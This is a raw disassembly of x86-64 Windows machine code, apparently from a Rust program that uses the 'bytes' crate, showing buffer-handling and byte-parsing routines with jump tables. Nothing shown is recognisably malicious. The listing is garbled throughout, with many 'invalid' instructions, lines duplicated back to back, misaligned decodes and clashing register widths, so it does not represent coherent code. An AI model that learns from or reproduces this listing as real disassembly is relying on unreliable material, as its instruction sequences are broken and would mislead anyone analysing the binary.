push rsp
and al, 0x28
mov r8, qword [rsp + 0x30]
mov rcx, rbp
mov ecx, ebp
mov ecx, ebp
call qword [rax + 0x10]
mov al, 1
mov rbp, r15
jmp 0x1400915de
lea rdx, [0x140140a7c]
jmp 0x14009165a
test al, al
jne 0x14009160f
cmp qword [rsp + 0x80], 0
mov byte [rbx + 0x79], r13b
jne 0x1400919e2
mov qword [rsp + 0x80], 0
movzx r13d, r13b
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
mov dh, 0xed
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
add byte [rax + 1], cl
call 0xf618f710
rol byte [rbx - 0x7af0fd08], 0x7a
movzx eax, al
cmp eax, 2
jne 0x140091395
std
invalid
invalid
std
invalid
add byte [rax - 0x7b], cl
ror byte [rbx + rcx*4 - 0x54], 0x24
enter 0, 0
je 0x140091028
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
add byte [rax], al
add byte [rax], al
mov r8, qword [rsp + 0x90]
call qword [rax + 0x10]
jmp 0x140091028
and al, 0x90
add byte [rax], al
add bh, bh
push rax
adc cl, ch
invalid
inc dword [rcx - 0x48]
mov r8d, 0x25
mov cl, 0x14
adc al, 0xe9
std
invalid
invalid
and eax, 0xb1000000
adc al, 0xe9
std
invalid
nop dword [rax + rax]
lea rcx, [rsp + 0x50]
mov r9d, 1
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rax, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x14009136a
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
test r8, r8
je 0x140091747
mov rcx, rsi
int1
movzx esi, byte [rdx]
call qword [rax + 0x10]
xor bh, bh
push rax
adc byte [rax + 0x1ffe8302], dh
mov al, 2
cmp esi, 0x1f
mov al, 2
cmp esi, 0x1f
jg 0x140091715
cmp esi, 9
cmp esi, 9
je 0x14009182a
cmp esi, 0xd
jne 0x140091775
mov al, 4
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
jns 0x14009173f
mov dword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
lodsd eax, dword [rsi]
add byte [rax + 1], cl
call 0x1647da45a
cmp bh, bh
invalid
lodsd eax, dword [rsi]
add byte [rax + 1], cl
call 0x1647da45a
cmp bh, bh
loopne 0x140091699
cmp esi, 0x20
invalid
je 0x14009182a
add byte [rax], al
cmp esi, 0x3b
jne 0x140091775
mov al, 3
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
movzx r13d, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
lea rsi, [rsp + 0x38]
jmp rax
call 0x1647da48c
cmp bh, bh
loopne 0x140091790
lea rdx, [0x14014093d]
lea edx, [0x14014093d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095940
mov rdi, rax
mov edi, eax
and eax, 0xb1000000
and eax, 0x41e5e8
add byte [rax - 0x77], cl
mov edi, eax
mov edi, eax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov edx, dword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov rcx, rsi
xor byte [rax - 0x77], cl
int1
jmp 0x140091374
lea rdx, [0x1401409fe]
invalid
jmp 0x14009165a
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rax, qword [rsp + 0x58]
and al, 0x58
mov rdx, qword [rsp + 0x60]
test rax, rax
je 0x14009136a
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
test r8, r8
je 0x140091843
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
mov al, 4
cmp esi, 0xd
je 0x14009182a
cmp byte [rbx + 0x3a740afe], al
cmp esi, 0xa
je 0x140091831
mov rcx, qword [rbx + 0x88]
inc rcx
ror dword [rax - 0x77], 0x8b
mov byte [rax], al
add byte [rax], al
invalid
ror dword [rax - 0x77], 0x8b
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x67eb7fd], dh
invalid
mov al, 3
cmp rcx, 0x3fff
lea rsi, [rsp + 0x38]
and al, 0x38
and al, 0x38
jbe 0x140091873
lea rdx, [0x140140a4b]
lea edx, [0x140140a4b]
mov r8d, 0x1b
jmp 0x14009138b
lea rsi, [rsp + 0x38]
jmp 0x140091873
lea rdx, [0x140140a23]
mov r8d, 0x28
jmp 0x14009138b
lea rdx, [0x14014093d]
mov r8d, 0x25
mov cl, 0x25
call fcn.140095940
mov rdi, rax
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
jmp 0x140091374
mov byte [rbx + 0x79], al
mov qword [rsp + 0x80], 0
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r13d, al
invalid
invalid
lodsd eax, dword [rsi]
add byte [rax], al
movzx r13d, al
mov dh, 0xe8
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
lodsd eax, dword [rsi]
add byte [rax + 1], cl
call 0xcb55f991
mov esp, dword [rbx + 0x80]
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov esp, dword [rbx + 0x80]
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov r9d, 1
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
invalid
test rax, rax
je 0x14009136a
invalid
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
adc byte [rcx], al
adc byte [rcx], al
add dword [rax - 0x73], ecx
and al, 0x30
lea rcx, [rsp + 0x30]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091843
invalid
invalid
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
call qword [rax + 0x10]
cmp sil, 0xa
or dh, byte [rbp + 0x15]
or dh, byte [rbp + 0x15]
xor eax, eax
test r12, r12
sete al
lea r13d, [rax + rax*4]
add r13d, 5
jmp 0x1400919ca
stosb byte [rdi], al
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [0x1401409e9]
lea rdx, [0x1401409e9]
mov r8d, 0x15
mov cl, 0x14
jmp 0x14009138d
pop rcx
cli
invalid
invalid
adc eax, 0xb1000000
adc al, 0xe9
pop rcx
cli
invalid
mov r9, qword [rbx + 0x80]
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
add byte [rax], al
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
and al, 0x48
mov r8, qword [rsp + 0x48]
and al, 0x48
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
push rax
add byte [rdi], cl
invalid
invalid
cld
invalid
invalid
push rax
add byte [rdi], cl
test dword [rcx + 0x48fffffc], eax
mov esi, dword [rsp + 0x58]
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
test rsi, rsi
test esi, esi
test esi, esi
test byte [rdi], 0x84
mov ah, 0
add byte [rax], al
je 0x140091a24
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
push 0x4800100f
lea eax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
je case.0x14005cc92.168
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
je case.0x14005cc92.168
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov rax, qword [rsp + 0x30]
test rax, rax
test eax, eax
test eax, eax
je 0x140091a12
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x30]
and al, 0x30
and al, 0x30
movaps xmmword [rsp + 0x90], xmm0
sub qword [rbx + 0x80], rax
mov qword [rsp + 0x80], rcx
and al, 0x80
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax + 0x29], cl
add dword [rax + 0x48000000], 0xffffff89
mov word [rax + rax*4], fs
and al, 0x80
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
xchg esp, eax
add byte [rax], al
mov qword [rsp + 0x88], rdx
and al, 0x88
add byte [rax], al
add byte [rax], al
invalid
invalid
xchg esp, eax
mov byte [rax], al
add byte [rax], al
sete r13b
add r13b, 5
invalid
invalid
invalid
invalid
lea rsi, [rsp + 0x38]
cmp qword [rsp + 0x80], 0
mov esp, 0x8024
add byte [rax], al
mov esp, 0x8024
add byte [rax], 0
add byte [rax], al
mov byte [rbx + 0x79], r13b
mov byte [rbx + 0x79], ch
je 0x1400915f5
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], ecx
add byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], ecx
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0xa8], xmm0
xor r15d, r15d
mov r13, qword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add cl, ch
invalid
idiv bh
invalid
and al, 0xc8
add byte [rax], al
add cl, ch
invalid
mov qword [rbx + 0x80], 0
call fcn.1400958b0
jmp 0x140091a33
mov al, 1
mov rdi, r12
out 0x48, eax
lea esi, [rsp + 0x38]
jmp 0x1400915de
mov rdi, rax
lea rcx, [rsp + 0x38]
mov rdx, r12
xor r8d, r8d
call qword [rsi + 0x10]
mov al, 1
lea rsi, [rsp + 0x38]
jmp 0x1400915de
invalid
sti
invalid
invalid
invalid
sti
invalid
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
add byte [rax], al
mov al, 2
cmp qword [rsp + 0x50], 0
add byte [rdi], cl
test dword [rsi - 5], esp
invalid
invalid
add byte [rdi], cl
test dword [rsi - 5], esp
invalid
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
test rsi, rsi
je 0x140091a24
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
and al, 0x30
and al, 0x30
test r8, r8
je 0x140091ad8
sal byte [rbp + rbp + 0x45], 0xf
movzx r13d, byte [r12]
mov dh, 0x2c
and al, 0x48
lea rcx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
mov rdx, r12
call qword [rsi + 0x10]
mov al, 7
cmp r13b, 0xd
lea rsi, [rsp + 0x38]
je 0x140091873
cmpsd dword [rsi], dword [rdi]
std
invalid
invalid
lea rdx, [0x1401409bd]
out dx, al
or al, byte [rax]
jmp 0x140091927
lea rdx, [0x14014093d]
mov r8d, 0x25
mov eax, 0x25
mov eax, 0x25
mov cl, 0x25
call fcn.140095940
jmp 0x140091a33
invalid
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
mov rsi, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
test rsi, rsi
je 0x140091a24
invalid
invalid
invalid
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x20], esi
and al, 0x20
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
invalid
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
invalid
xor byte [rbp - 0x7b], cl
test r8, r8
je 0x140091ad8
sal byte [rax + rcx*4 + 0x45], 0xf
mov dh, 0x2c
and al, 0x48
lea ecx, [rsp + 0x38]
movzx r13d, byte [r12]
lea rcx, [rsp + 0x38]
mov rdx, r12
call qword [rsi + 0x10]
mov al, 1
cmp r13b, 0xa
lea rsi, [rsp + 0x38]
je 0x140091873
add bh, ch
invalid
invalid
dec dword [rax - 0x73]
adc eax, 0xaee5a
lea rdx, [0x1401409d2]
jmp 0x140091927
dec dword [rdi]
invalid
mov r8, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
jne 0x1400915de
cli
invalid
invalid
cli
cli
invalid
mov rax, qword [rsp + 0x58]
and al, 0x58
pop rax
mov rdx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
test rax, rax
je 0x14009136a
lea rcx, [rsp + 0x68]
movups xmm0, xmmword [rcx]
lea rcx, [rsp + 0x30]
add dword [rax - 0x73], ecx
and al, 0x30
movups xmmword [rcx], xmm0
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rdx
invalid
sub byte [rbx + rcx*4 + 0x44], cl
and al, 0x30
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091843
ror byte [rdi], 0x84
invalid
movzx esi, byte [rdx]
lea rcx, [rsp + 0x38]
xor cl, byte [rax - 0x73]
and al, 0x38
call qword [rax + 0x10]
cmp sil, 0xd
dec byte [0x1647da93e]
cmp byte [rdi], cl
xchg esp, eax
ror byte [rax + rcx], 0x88
jns 0x140091c48
mov dword [rsp + 0x80], 0
dec byte [0x1647da93e]
cmp byte [rdi], cl
xchg esp, eax
ror byte [rax + rcx], 0x88
jns 0x140091c48
mov dword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d7f5d
add byte [rax + 1], cl
add eax, ebp
jmp rax
invalid
invalid
add byte [rax], 0
add byte [rax], al
movzx r13d, al
movzx ebp, al
movsxd rax, dword [rbp + r13*4]
add rax, rbp
add eax, ebp
add eax, ebp
jmp rax
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x50]
and al, 0x50
mov r9d, 1
add byte [rax], al
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
call fcn.1400956a0
mov al, 2
cmp qword [rsp + 0x50], 0
cmp dword [rsp + 0x50], 0
jne 0x1400915de
mov rsi, qword [rsp + 0x58]
pop rax
mov r12, qword [rsp + 0x60]
and al, 0x60
invalid
test rsi, rsi
je 0x140091a24
invalid
dec dword [rax - 0x73]
and al, 0x68
lea rax, [rsp + 0x68]
lea eax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
lea eax, [rsp + 0x30]
lea eax, [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x20], rsi
add byte [rax - 0x77], cl
je 0x140091c93
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
test r8, r8
ror byte [rbp + rcx*4 + 0x7c], 0x24
invalid
ror byte [rbp + rcx*4 + 0x7c], 0x24
cmp byte [rdi], cl
je 0x140091dee
je 0x140091dee
add word [rax], ax
add byte [rbp + 0xf], al
mov dh, 0x2c
and al, 0x4c
mov ecx, edi
movzx r13d, byte [r12]
mov rcx, r15
mov rdx, r12
call qword [rsi + 0x10]
xor eax, eax
cmp r13b, 0xd
std
or eax, 0x8dc0940f
or byte [rax - 0x38b786bd], cl
test byte [rax + rax*4], ah
add byte [rax], 0
add byte [rax], al
add byte [rax], al
invalid
push rsi
adc byte [rcx], dh
rol byte [rcx - 0x80], 0xfd
std
std
or eax, 0x8dc0940f
or byte [rax - 0x38b786bd], cl
test byte [rax + rax*4], ah
add byte [rax], 0
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
call 0xed4d8004
add byte [rax + 1], cl
call 0x1647daa0a
cmp bh, bh
movzx r13d, al
mov dh, 0xe8
movsxd rax, dword [rbp + r13*4]
add rax, rbp
lea rsi, [rsp + 0x38]
jmp rax
invalid
loopne 0x140091d0e
lea ecx, [rsp + 0x50]
push rax
mov r9d, 1
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
push rsp
and al, 0x40
mov r8, qword [rsp + 0x48]
call fcn.1400956a0
cmp dword [rax], eax
add byte [rax + 0x7c834802], dh
cmp dword [rsp + 0x50], 0
cmp dword [rax], eax
add byte [rax + 0x7c834802], dh
invalid
invalid
cmp dword [rsp + 0x50], 0
and al, 0x50
add byte [rdi], cl
test ecx, esi
clc
invalid
jne 0x1400915de
mov rsi, qword [rsp + 0x58]
mov esi, dword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
and al, 0x60
test rsi, rsi
je 0x140091a24
and al, 0xfd
invalid
invalid
and al, 0xfd
invalid
lea rax, [rsp + 0x68]
and al, 0x68
push 0x4800100f
lea eax, [rsp + 0x30]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
movups xmmword [rax], xmm0
adc dword [rax], eax
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x20], esi
je 0x140091d38
and byte [rcx + rcx*4 + 0x64], cl
and al, 0x28
mov qword [rsp + 0x28], r12
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140091ad8
mov al, 0xfd
invalid
movzx r13d, byte [r12]
lea rcx, [rsp + 0x38]
mov rdx, r12
invalid
loop 0x140091d35
call qword [rsi + 0x10]
push rsi
adc byte [rax - 0x27fbef6], dh
or cl, byte [rax - 0x73]
je case.0x1400733b1.90
mov al, 0xa
cmp r13b, 0xa
lea rsi, [rsp + 0x38]
cmp byte [rdi], cl
test byte [rdx], ch
sti
invalid
invalid
cmp byte [rdi], cl
test byte [rdx], ch
sti
invalid
dec dword [rax - 0x73]
adc eax, 0xaed16
lea rdx, [0x140140a66]
mov r8d, 0x16
add byte [rax], al
mov cl, 0x14
jmp 0x14009138d
invalid
dec dword [rax - 0x73]
and al, 0x50
push rax
push rax
mov r9d, 1
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
invalid
call fcn.1400956a0
call fcn.1400956a0
cmp dword [rax], eax
add byte [rax + 0x7c834802], dh
add cl, byte [rax - 0x7d]
jl case.0x140070a56.115
push rax
add byte [rdi], cl
test dword [rcx - 8], ebx
invalid
mov al, 2
cmp qword [rsp + 0x50], 0
cmp dword [rsp + 0x50], 0
add cl, byte [rax - 0x7d]
jl case.0x140070a56.115
cmp dword [rsp + 0x50], 0
jne 0x1400915de
dec dword [rax - 0x75]
je 0x140091dad
mov rsi, qword [rsp + 0x58]
pop rax
mov rdi, qword [rsp + 0x60]
mov al, 1
test rsi, rsi
jl 0x140091db2
invalid
je case.0x140071463.105
lea rax, [rsp + 0x68]
movups xmm0, xmmword [rax]
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
movups xmmword [rax], xmm0
adc dword [rax], eax
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], rdi
mov r8, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
je 0x140091dce
jl 0x140091dd3
mov eax, dword [rsp + 0x30]
and al, 0x30
xor byte [rbp - 0x7b], cl
sal byte [rbp + 0x53], 0x48
lea edx, [0x14014093d]
adc eax, 0xaeb7c
test r8, r8
jne 0x140091e0d
lea rdx, [0x14014093d]
adc eax, 0xaeb7c
mov r8d, 0x25
mov cl, 0x25
call fcn.140095940
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3b72e825], dh
add byte [rax], al
mov r12, rax
lea rcx, [rsp + 0x38]
and al, 0x38
and al, 0x38
mov rdx, rdi
cli
xor r8d, r8d
call qword [rsi + 0x10]
jmp 0x140091a24
lea rsi, [rsp + 0x38]
jmp 0x1400915de
invalid
idiv edi
invalid
invalid
invalid
invalid
lea rdx, [0x14014093d]
mov r8d, 0x25
mov cl, 0x25
and eax, 0x3b3ee8
add byte [rax - 0x77], cl
invalid
mov rcx, r15
and eax, 0x3b3ee8
add byte [rax - 0x77], cl
invalid
jmp 0x140091a3b
cld
invalid
movzx r14d, byte [rdi]
lea rcx, [rsp + 0x38]
mov rdx, rdi
call qword [rsi + 0x10]
cmp r14b, 0xa
jne 0x140091e51
add eax, 0xacb1b
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], 1
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*4], ah
add byte [rax], al
add cl, ch
pop rax
cmc
invalid
invalid
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*4], ah
add byte [rax], al
add cl, ch
pop rax
cmc
invalid
add byte [rax], al
mov cl, 0x14
jmp 0x14009138d
mov eax, dword [rcx + 8]
movabs r9, 0xcccccccccccccccd
cmp r10, rax
je 0x140091f21
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rbp - 0x30], cl
sub rax, r10
mul r9
shr rdx, 6
add r10, 0x48
xor r8d, r8d
lea rax, [0x140178780]
jmp 0x140091ec0
add byte [rax], al
add byte [rax], al
mov r11, qword [r10 - 0x38]
add r8, r11
add r10, 0x50
dec rdx
je 0x140091f24
mov r11, qword [r10 - 0x48]
movsxd r11, dword [rax + r11*4]
add r11, rax
jmp r11
mov r11, qword [r10 - 0x30]
jmp 0x140091eb4
movzx r11d, byte [r10 - 0xd]
sub r11b, byte [r10 - 0xe]
movzx r11d, r11b
add r11, qword [r10 - 0x30]
jb 0x140091fba
add r11, qword [r10]
jae 0x140091eb4
jmp 0x140091fba
mov rsi, qword [r10 - 0x30]
mov r11, qword [r10 - 0x20]
cmp rsi, r11
cmovb r11, rsi
jmp 0x140091eb4
xor r8d, r8d
mov r10, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
cmp r10, rax
je 0x140091fb1
sub rax, r10
mul r9
shr rdx, 6
add r10, 0x48
add edx, 0x48
add edx, 0x48
lea rax, [0x140178790]
jmp 0x140091f60
mov rcx, qword [r10 - 0x38]
add r8, rcx
add r10, 0x50
dec rdx
retf 0x5174
retf 0x5174
mov rcx, qword [r10 - 0x48]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov rcx, qword [r10 - 0x30]
jmp 0x140091f54
shr bl, 1
loope 0x140091fda
nop word cs:[rax + rax]
movzx ecx, byte [r10 - 0xd]
sub cl, byte [r10 - 0xe]
movzx ecx, cl
add rcx, qword [r10 - 0x30]
jb 0x140091fba
add rcx, qword [r10]
jae 0x140091f54
jmp 0x140091fba
mov r9, qword [r10 - 0x30]
mov rcx, qword [r10 - 0x20]
cmp r9, rcx
cmovb rcx, r9
jmp 0x140091f54
mov rax, r8
add rsp, 0x20
pop rsi
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bufchain.rs
or eax, 0xb085f
call fcn.140108970
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x478
movaps xmmword [rsp + 0x460], xmm6
sub dword [rsp + 0x460], esi
sub dword [rsp + 0x460], esi
mov rbp, rdx
mov rsi, rcx
invalid
cmp byte [rcx + 0x178], 0
je case.0x1400d8602.211
invalid
xor r12d, r12d
cmp qword [rsi + 0x160], 0
invalid
in al, 0x48
cmp dword [rsi + 0x160], 0
invalid
add byte [rbx], bh
mov ebx, 0
jne 0x1400920e8
mov qword [rsp + 0x30], rbp
mov r13, qword [rsi + 0xe8]
mov r8, qword [rsi + 0xf0]
mov rbx, qword [rsi + 0xf8]
mov ebx, dword [rsi + 0xf8]
mov ebx, dword [rsi + 0xf8]
mov rbp, qword [rsi + 0x110]
test rbp, rbp
mov qword [rsp + 0x28], rsi
je 0x140092061
mov rax, qword [rsi + 0x108]
mov eax, dword [rsi + 0x108]
xor ecx, ecx
cmp rax, rbx
cmovae rcx, rbx
sub rax, rcx
mov rdx, rbx
fimul dword [rax + 0x29]
ret 0x8948
jmp 0x1b6da49a3
invalid
fimul dword [rax + 0x29]
ret 0x8948
mov rdx, rbx
jmp 0x14009206d
xor eax, eax
xor edx, edx
shr bl, cl
invalid
shr bl, cl
add al, 0x48
lea edx, [rax + rbp]
lea rdx, [rax + rbp]
xor ecx, ecx
mov rsi, r13
mov r15, r8
sub rsi, r8
mov r14, qword [rsp + 0x28]
mov rdi, qword [r14 + 0x100]
mov edi, dword [rsi + 0x100]
mov edi, dword [rsi + 0x100]
lea rax, [rax + rax*4]
add al, 0x80
shl rax, 4
add rax, rdi
lea rdx, [rdx + rdx*4]
shl rdx, 4
add rdx, rdi
lea rcx, [rcx + rcx*4]
shl rcx, 4
add rcx, rdi
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x60]
call fcn.140091e70
add rax, rsi
jne 0x14009212a
mov rcx, qword [r14 + 0x140]
mov rax, qword [r14 + 0x148]
mov rbp, qword [rsp + 0x30]
mov rdx, rbp
call qword [rax + 0x28]
mov rbx, rax
mov r12, rdx
invalid
mov rsi, r14
invalid
test rbx, rbx
jne 0x140092108
test r12, r12
jne 0x140092108
mov rcx, rsi
int1
call fcn.140090b70
mov rcx, rsi
mov rdx, rbp
call case.0x14002a2ab.1647
inc dword [rbp + 0x31]
invalid
inc dword [rbp + 0x31]
in al, 0x48
mov eax, ebx
mov rax, rbx
mov rdx, r12
movaps xmm6, xmmword [rsp + 0x460]
add byte [rax], al
add byte [rax], al
add rsp, 0x478
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea rax, [r14 + 0xe8]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
cmp byte [r14 + 0x120], 0
mov rsi, r14
je 0x1400927dc
invalid
add byte [rax], al
invalid
xorps xmm6, xmm6
lea r10, [0x1401787a0]
mov rcx, r15
nop word cs:[rax + rax]
mov eax, 0x38
nop word cs:[rax + rax]
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
mov dword [rsp + rax + 0x28], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + rax + 0x30], 1
mov dword [rsp + rax + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add al, 0x40
add dword [rax], eax
add byte [rax], al
cmp byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add al, 0x40
add dword [rax], eax
add byte [rax], al
mov dword [rsp + rax + 0x48], 0
mov qword [rsp + rax + 0x50], 1
add al, 0x50
add dword [rax], eax
add byte [rax], al
add al, 0x50
add dword [rax], eax
add byte [rax], al
mov dword [rsp + rax + 0x58], 0
mov qword [rsp + rax + 0x60], 1
add byte [rax], al
add byte [rax - 0x39], cl
add al, 0x60
add dword [rax], eax
add byte [rax], al
add rax, 0x40
cmp rax, 0x438
add byte [rax], al
add byte [rax], al
jne 0x140092170
mov rdx, r13
sub rdx, rcx
sub edx, ecx
sub edx, ecx
jne 0x140092210
xor r9d, r9d
mov qword [rsp + 0x50], rdx
test rbp, rbp
mov qword [rsp + 0x48], rcx
je case.0x1400d62e6.1875
mov rax, qword [rsi + 0x108]
cmp rax, rbx
mov edx, 0
invalid
xchg byte [rax], cl
add dword [rax], eax
add byte [rax + 0x39], cl
fdivr dword [rdx]
mov edx, 0
invalid
add byte [rax + 0xf], cl
ror dword [r8 + 0x29], cl
ror byte [rax - 0x77], 1
fimul dword [rax + 0x29]
ret 0x8949
cmovae rdx, rbx
sub rax, rdx
mov rdx, rbx
sub rdx, rax
mov r14, rbp
sub r14, rdx
jbe 0x140092260
mov r8, rbx
jmp 0x140092267
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
jb 0x140092988
mov rax, rdx
shr rax, 0x20
and byte [rdi], cl
test ebx, esp
invalid
add byte [rax], al
ror byte [rax - 0x3f], 1
call 0x1238e3140
and byte [rdi], cl
